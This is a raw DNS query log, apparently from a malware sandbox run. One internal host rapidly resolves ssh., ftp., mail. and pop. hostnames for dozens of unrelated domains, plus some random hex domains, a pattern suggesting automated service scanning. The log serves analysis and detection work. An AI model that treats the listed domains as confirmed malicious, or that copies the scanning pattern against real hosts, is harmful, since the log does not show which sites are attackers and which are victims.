Dec 20, 2023 03:13:26.797085047 CET	192.168.2.4	1.1.1.1	0x9e38	Standard query (0)	ssh.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.800229073 CET	192.168.2.4	1.1.1.1	0x3155	Standard query (0)	ssh.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.801325083 CET	192.168.2.4	1.1.1.1	0xad14	Standard query (0)	ssh.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.801732063 CET	192.168.2.4	1.1.1.1	0xd0a2	Standard query (0)	ssh.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.803050041 CET	192.168.2.4	1.1.1.1	0xab9c	Standard query (0)	ssh.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.803050041 CET	192.168.2.4	1.1.1.1	0x22a6	Standard query (0)	ssh.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.822570086 CET	192.168.2.4	1.1.1.1	0xae84	Standard query (0)	ftp.copyset.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.824163914 CET	192.168.2.4	1.1.1.1	0xce22	Standard query (0)	ssh.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.824601889 CET	192.168.2.4	1.1.1.1	0x29f6	Standard query (0)	ssh.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.832010031 CET	192.168.2.4	1.1.1.1	0x48e2	Standard query (0)	mail.fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.015017986 CET	192.168.2.4	1.1.1.1	0x97de	Standard query (0)	mail.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.017184973 CET	192.168.2.4	1.1.1.1	0xb1c4	Standard query (0)	mail.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.048325062 CET	192.168.2.4	1.1.1.1	0xec67	Standard query (0)	ftp.a2b-internet.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.048376083 CET	192.168.2.4	1.1.1.1	0xf1ac	Standard query (0)	ftp.sadowsky.webatu.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.049685955 CET	192.168.2.4	1.1.1.1	0x711	Standard query (0)	ftp.orangutech.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.051604033 CET	192.168.2.4	1.1.1.1	0xc027	Standard query (0)	ftp.bookmyrace.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.051604033 CET	192.168.2.4	1.1.1.1	0x92e3	Standard query (0)	ftp.london.com.tr	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.075695038 CET	192.168.2.4	1.1.1.1	0xe2e6	Standard query (0)	ssh.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.076502085 CET	192.168.2.4	1.1.1.1	0x9ba0	Standard query (0)	ssh.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.077374935 CET	192.168.2.4	1.1.1.1	0xdd91	Standard query (0)	ssh.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.078147888 CET	192.168.2.4	1.1.1.1	0x7d09	Standard query (0)	ssh.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.078459024 CET	192.168.2.4	1.1.1.1	0xfb68	Standard query (0)	ssh.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.160356998 CET	192.168.2.4	1.1.1.1	0xe514	Standard query (0)	ssh.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.167896032 CET	192.168.2.4	1.1.1.1	0xe23c	Standard query (0)	ftp.rosetre.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.168164968 CET	192.168.2.4	1.1.1.1	0xb4f0	Standard query (0)	ssh.4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.168749094 CET	192.168.2.4	1.1.1.1	0x8814	Standard query (0)	ftp.plastikolor.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.192436934 CET	192.168.2.4	1.1.1.1	0xd8d0	Standard query (0)	ssh.clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.193244934 CET	192.168.2.4	1.1.1.1	0xc5a2	Standard query (0)	ftp.rehau.com.mk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.232347965 CET	192.168.2.4	1.1.1.1	0x800	Standard query (0)	ww1.recipe-for-kids.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.268115044 CET	192.168.2.4	1.1.1.1	0x7ce	Standard query (0)	ftp.ornos.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.268537998 CET	192.168.2.4	1.1.1.1	0x3890	Standard query (0)	ftp.dako.netai.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.269579887 CET	192.168.2.4	1.1.1.1	0x3021	Standard query (0)	ftp.mobiamericas.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.270081997 CET	192.168.2.4	1.1.1.1	0x884c	Standard query (0)	ftp.centurylaboratories.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.270159960 CET	192.168.2.4	1.1.1.1	0x14e4	Standard query (0)	ftp.activegraphics.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.270509005 CET	192.168.2.4	1.1.1.1	0xefc4	Standard query (0)	ftp.ontariobluejays.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.270812988 CET	192.168.2.4	1.1.1.1	0xdf7b	Standard query (0)	ftp.collinsgordonhenry.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.270874023 CET	192.168.2.4	1.1.1.1	0x630d	Standard query (0)	ftp.tiltdesign.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.271409035 CET	192.168.2.4	1.1.1.1	0x780f	Standard query (0)	ftp.choctawcasino.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.271954060 CET	192.168.2.4	1.1.1.1	0xe0af	Standard query (0)	ftp.directservbms.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.387409925 CET	192.168.2.4	1.1.1.1	0xf0d5	Standard query (0)	ssh.zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.388834000 CET	192.168.2.4	1.1.1.1	0x7206	Standard query (0)	ssh.curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.397185087 CET	192.168.2.4	1.1.1.1	0xf887	Standard query (0)	ssh.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.409452915 CET	192.168.2.4	1.1.1.1	0x88a0	Standard query (0)	ssh.youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.409634113 CET	192.168.2.4	1.1.1.1	0x6fa0	Standard query (0)	ssh.nicsonsconcrete.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.420012951 CET	192.168.2.4	1.1.1.1	0xfa0c	Standard query (0)	ssh.fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.421166897 CET	192.168.2.4	1.1.1.1	0xfc12	Standard query (0)	ssh.ccs1.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.423834085 CET	192.168.2.4	1.1.1.1	0x2ed2	Standard query (0)	ssh.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.486561060 CET	192.168.2.4	1.1.1.1	0xdba6	Standard query (0)	ssh.ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.487087965 CET	192.168.2.4	1.1.1.1	0xec69	Standard query (0)	ssh.cyadp.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.521331072 CET	192.168.2.4	1.1.1.1	0x5e8e	Standard query (0)	ssh.dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.521509886 CET	192.168.2.4	1.1.1.1	0xffb5	Standard query (0)	ssh.bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.674668074 CET	192.168.2.4	1.1.1.1	0x7f31	Standard query (0)	ssh.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.675621033 CET	192.168.2.4	1.1.1.1	0x3c19	Standard query (0)	ftp.newriverclimbing.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:27.942682981 CET	192.168.2.4	1.1.1.1	0x6374	Standard query (0)	lsmnutrition-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.076112032 CET	192.168.2.4	1.1.1.1	0xa68d	Standard query (0)	account.lenderhomepage.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.079619884 CET	192.168.2.4	1.1.1.1	0xbd03	Standard query (0)	ssh.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.093908072 CET	192.168.2.4	1.1.1.1	0xb676	Standard query (0)	pop.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.839184046 CET	192.168.2.4	1.1.1.1	0x75c8	Standard query (0)	8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.845958948 CET	192.168.2.4	1.1.1.1	0x2667	Standard query (0)	pop.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.855318069 CET	192.168.2.4	1.1.1.1	0x2da7	Standard query (0)	floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.855545998 CET	192.168.2.4	1.1.1.1	0x3c8	Standard query (0)	a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.855808020 CET	192.168.2.4	1.1.1.1	0xc16a	Standard query (0)	pop.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.856431007 CET	192.168.2.4	1.1.1.1	0xc2ca	Standard query (0)	9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.856892109 CET	192.168.2.4	1.1.1.1	0x6149	Standard query (0)	habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.857274055 CET	192.168.2.4	1.1.1.1	0x60ef	Standard query (0)	calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.857748032 CET	192.168.2.4	1.1.1.1	0x237b	Standard query (0)	radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.863543034 CET	192.168.2.4	1.1.1.1	0x97ed	Standard query (0)	nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.864089966 CET	192.168.2.4	1.1.1.1	0x7d9c	Standard query (0)	ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.865478039 CET	192.168.2.4	1.1.1.1	0x6d88	Standard query (0)	yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.911266088 CET	192.168.2.4	1.1.1.1	0xa69a	Standard query (0)	pop.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.946712017 CET	192.168.2.4	1.1.1.1	0x80c9	Standard query (0)	janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.948426962 CET	192.168.2.4	1.1.1.1	0xf3e6	Standard query (0)	pop.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.948636055 CET	192.168.2.4	1.1.1.1	0xf152	Standard query (0)	pop.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.948895931 CET	192.168.2.4	1.1.1.1	0x8e25	Standard query (0)	pop.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.949567080 CET	192.168.2.4	1.1.1.1	0xec44	Standard query (0)	pop.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:28.949940920 CET	192.168.2.4	1.1.1.1	0x7bcd	Standard query (0)	pop.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.036931038 CET	192.168.2.4	1.1.1.1	0x8894	Standard query (0)	pop.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.037782907 CET	192.168.2.4	1.1.1.1	0xbbf8	Standard query (0)	pop.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.047641993 CET	192.168.2.4	1.1.1.1	0x3f29	Standard query (0)	pop.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.047641993 CET	192.168.2.4	1.1.1.1	0xd18f	Standard query (0)	pop.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.049233913 CET	192.168.2.4	1.1.1.1	0x280c	Standard query (0)	mail.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.051076889 CET	192.168.2.4	1.1.1.1	0x9911	Standard query (0)	pop.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.051076889 CET	192.168.2.4	1.1.1.1	0x6f03	Standard query (0)	pop.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.051480055 CET	192.168.2.4	1.1.1.1	0xe1fd	Standard query (0)	pop.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.051879883 CET	192.168.2.4	1.1.1.1	0xa35c	Standard query (0)	pop.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.052195072 CET	192.168.2.4	1.1.1.1	0x9af5	Standard query (0)	pop.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.052423954 CET	192.168.2.4	1.1.1.1	0x8b33	Standard query (0)	pop.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.072791100 CET	192.168.2.4	1.1.1.1	0x72c4	Standard query (0)	8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.074487925 CET	192.168.2.4	1.1.1.1	0x19dd	Standard query (0)	pop.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.152364016 CET	192.168.2.4	1.1.1.1	0xe3b8	Standard query (0)	pop.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.154123068 CET	192.168.2.4	1.1.1.1	0xdd2a	Standard query (0)	mail.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.180207968 CET	192.168.2.4	1.1.1.1	0xa633	Standard query (0)	pop.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.181313992 CET	192.168.2.4	1.1.1.1	0xf3d1	Standard query (0)	ftp.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.182424068 CET	192.168.2.4	1.1.1.1	0x5c13	Standard query (0)	pop.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.415402889 CET	192.168.2.4	1.1.1.1	0x693e	Standard query (0)	pop.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.416646004 CET	192.168.2.4	1.1.1.1	0xef49	Standard query (0)	pop.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.418349028 CET	192.168.2.4	1.1.1.1	0x5c08	Standard query (0)	pop.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.483786106 CET	192.168.2.4	1.1.1.1	0x72d8	Standard query (0)	nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.484219074 CET	192.168.2.4	1.1.1.1	0x822d	Standard query (0)	micresearch-net.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.484688044 CET	192.168.2.4	1.1.1.1	0x3f21	Standard query (0)	fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.487021923 CET	192.168.2.4	1.1.1.1	0xec07	Standard query (0)	mail.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.517478943 CET	192.168.2.4	1.1.1.1	0x6207	Standard query (0)	clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.519143105 CET	192.168.2.4	1.1.1.1	0x9cb0	Standard query (0)	cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.520006895 CET	192.168.2.4	1.1.1.1	0x89bd	Standard query (0)	mail.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.520257950 CET	192.168.2.4	1.1.1.1	0xfecb	Standard query (0)	mail.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.520915985 CET	192.168.2.4	1.1.1.1	0xd399	Standard query (0)	mail.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.521140099 CET	192.168.2.4	1.1.1.1	0x4ac1	Standard query (0)	mail.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.521544933 CET	192.168.2.4	1.1.1.1	0x94a7	Standard query (0)		256	256	false
Dec 20, 2023 03:13:29.548433065 CET	192.168.2.4	1.1.1.1	0x3d93	Standard query (0)	mail.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.808365107 CET	192.168.2.4	1.1.1.1	0xf814	Standard query (0)	vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.808365107 CET	192.168.2.4	1.1.1.1	0x6576	Standard query (0)	cgi-sys.server294.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.809806108 CET	192.168.2.4	1.1.1.1	0xb9b0	Standard query (0)	greenlawnfertilizing-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.809806108 CET	192.168.2.4	1.1.1.1	0x584a	Standard query (0)	mobiamericas-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.809912920 CET	192.168.2.4	1.1.1.1	0x4b0b	Standard query (0)	mail.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.815396070 CET	192.168.2.4	1.1.1.1	0x8ce4	Standard query (0)	mail.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.816234112 CET	192.168.2.4	1.1.1.1	0xc6ff	Standard query (0)	churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:29.816728115 CET	192.168.2.4	1.1.1.1	0xcd30	Standard query (0)	remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.050313950 CET	192.168.2.4	1.1.1.1	0xbdb9	Standard query (0)	mail.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.050313950 CET	192.168.2.4	1.1.1.1	0xe953	Standard query (0)	pop.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.051071882 CET	192.168.2.4	1.1.1.1	0x2c05	Standard query (0)	mail.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.114284039 CET	192.168.2.4	1.1.1.1	0xd4b9	Standard query (0)	leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.115032911 CET	192.168.2.4	1.1.1.1	0x3f0a	Standard query (0)	mail.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.284638882 CET	192.168.2.4	1.1.1.1	0xdd2a	Standard query (0)	mail.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.284849882 CET	192.168.2.4	1.1.1.1	0xf3d1	Standard query (0)	ftp.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.285298109 CET	192.168.2.4	1.1.1.1	0xde68	Standard query (0)	mail.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.285805941 CET	192.168.2.4	1.1.1.1	0x4a68	Standard query (0)	mail.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.286993027 CET	192.168.2.4	1.1.1.1	0x7363	Standard query (0)	mail.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.287775993 CET	192.168.2.4	1.1.1.1	0xb15c	Standard query (0)	jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.290631056 CET	192.168.2.4	1.1.1.1	0x28db	Standard query (0)	mail.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.291172981 CET	192.168.2.4	1.1.1.1	0x7432	Standard query (0)	sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.293215036 CET	192.168.2.4	1.1.1.1	0x5037	Standard query (0)	pop.clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.293417931 CET	192.168.2.4	1.1.1.1	0x3fe3	Standard query (0)	pop.dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.293719053 CET	192.168.2.4	1.1.1.1	0xda86	Standard query (0)	dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.293939114 CET	192.168.2.4	1.1.1.1	0x988b	Standard query (0)	mail.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.294642925 CET	192.168.2.4	1.1.1.1	0xd6c4	Standard query (0)	mail.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.295151949 CET	192.168.2.4	1.1.1.1	0xb0ab	Standard query (0)	crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.296399117 CET	192.168.2.4	1.1.1.1	0xdb88	Standard query (0)	mail.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.296648026 CET	192.168.2.4	1.1.1.1	0xac9e	Standard query (0)	rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.297044039 CET	192.168.2.4	1.1.1.1	0x93a5	Standard query (0)	lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.297044039 CET	192.168.2.4	1.1.1.1	0x7534	Standard query (0)	youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.381494999 CET	192.168.2.4	1.1.1.1	0xf3d1	Standard query (0)	ftp.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.381613970 CET	192.168.2.4	1.1.1.1	0xdd2a	Standard query (0)	mail.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.442467928 CET	192.168.2.4	1.1.1.1	0xcb8a	Standard query (0)	ssh.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.442667007 CET	192.168.2.4	1.1.1.1	0xc07e	Standard query (0)	mail.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.458323956 CET	192.168.2.4	1.1.1.1	0xf331	Standard query (0)	ssh.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.458520889 CET	192.168.2.4	1.1.1.1	0xb3da	Standard query (0)	ssh.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.487523079 CET	192.168.2.4	1.1.1.1	0x5d49	Standard query (0)	mail.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.488082886 CET	192.168.2.4	1.1.1.1	0x935c	Standard query (0)	ftp.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.488796949 CET	192.168.2.4	1.1.1.1	0xfcc2	Standard query (0)	mail.bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.497556925 CET	192.168.2.4	1.1.1.1	0x421c	Standard query (0)	mail.youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.498579979 CET	192.168.2.4	1.1.1.1	0xfaeb	Standard query (0)	4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.498801947 CET	192.168.2.4	1.1.1.1	0x3a89	Standard query (0)	mail.4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.499108076 CET	192.168.2.4	1.1.1.1	0xe29a	Standard query (0)	mail.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.499342918 CET	192.168.2.4	1.1.1.1	0xdd66	Standard query (0)	mail.curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.499522924 CET	192.168.2.4	1.1.1.1	0xc21c	Standard query (0)	x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.499721050 CET	192.168.2.4	1.1.1.1	0x50ae	Standard query (0)	zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.499901056 CET	192.168.2.4	1.1.1.1	0xe0c9	Standard query (0)	mail.zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.500221014 CET	192.168.2.4	1.1.1.1	0x7d62	Standard query (0)	mail.ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.500540972 CET	192.168.2.4	1.1.1.1	0x1c6c	Standard query (0)	mail.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.503350019 CET	192.168.2.4	1.1.1.1	0xbbd3	Standard query (0)	ssh.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.504163027 CET	192.168.2.4	1.1.1.1	0x2b6f	Standard query (0)	ssh.clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.504411936 CET	192.168.2.4	1.1.1.1	0xc476	Standard query (0)	alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.504667044 CET	192.168.2.4	1.1.1.1	0xd64	Standard query (0)	dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.513969898 CET	192.168.2.4	1.1.1.1	0xf347	Standard query (0)	ssh.4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.545614958 CET	192.168.2.4	1.1.1.1	0xc880	Standard query (0)	mail.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.563991070 CET	192.168.2.4	1.1.1.1	0x7912	Standard query (0)	ssh.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.566571951 CET	192.168.2.4	1.1.1.1	0x966f	Standard query (0)	ssh.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.566818953 CET	192.168.2.4	1.1.1.1	0x9fce	Standard query (0)	ssh.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.567121983 CET	192.168.2.4	1.1.1.1	0xcd2f	Standard query (0)	ssh.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.573877096 CET	192.168.2.4	1.1.1.1	0xccbb	Standard query (0)	justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.575045109 CET	192.168.2.4	1.1.1.1	0x3052	Standard query (0)	mail.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.575381994 CET	192.168.2.4	1.1.1.1	0xa37f	Standard query (0)	njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.575665951 CET	192.168.2.4	1.1.1.1	0xad23	Standard query (0)	ssh.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.578722000 CET	192.168.2.4	1.1.1.1	0xd5f2	Standard query (0)	ssh.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.579936981 CET	192.168.2.4	1.1.1.1	0xdc41	Standard query (0)	shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.625893116 CET	192.168.2.4	1.1.1.1	0x19c2	Standard query (0)	ssh.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.626585960 CET	192.168.2.4	1.1.1.1	0x180	Standard query (0)	kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.684694052 CET	192.168.2.4	1.1.1.1	0x1b34	Standard query (0)	mail.fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.684694052 CET	192.168.2.4	1.1.1.1	0xbdc5	Standard query (0)	ssh.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.685009003 CET	192.168.2.4	1.1.1.1	0xfebd	Standard query (0)	ssh.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
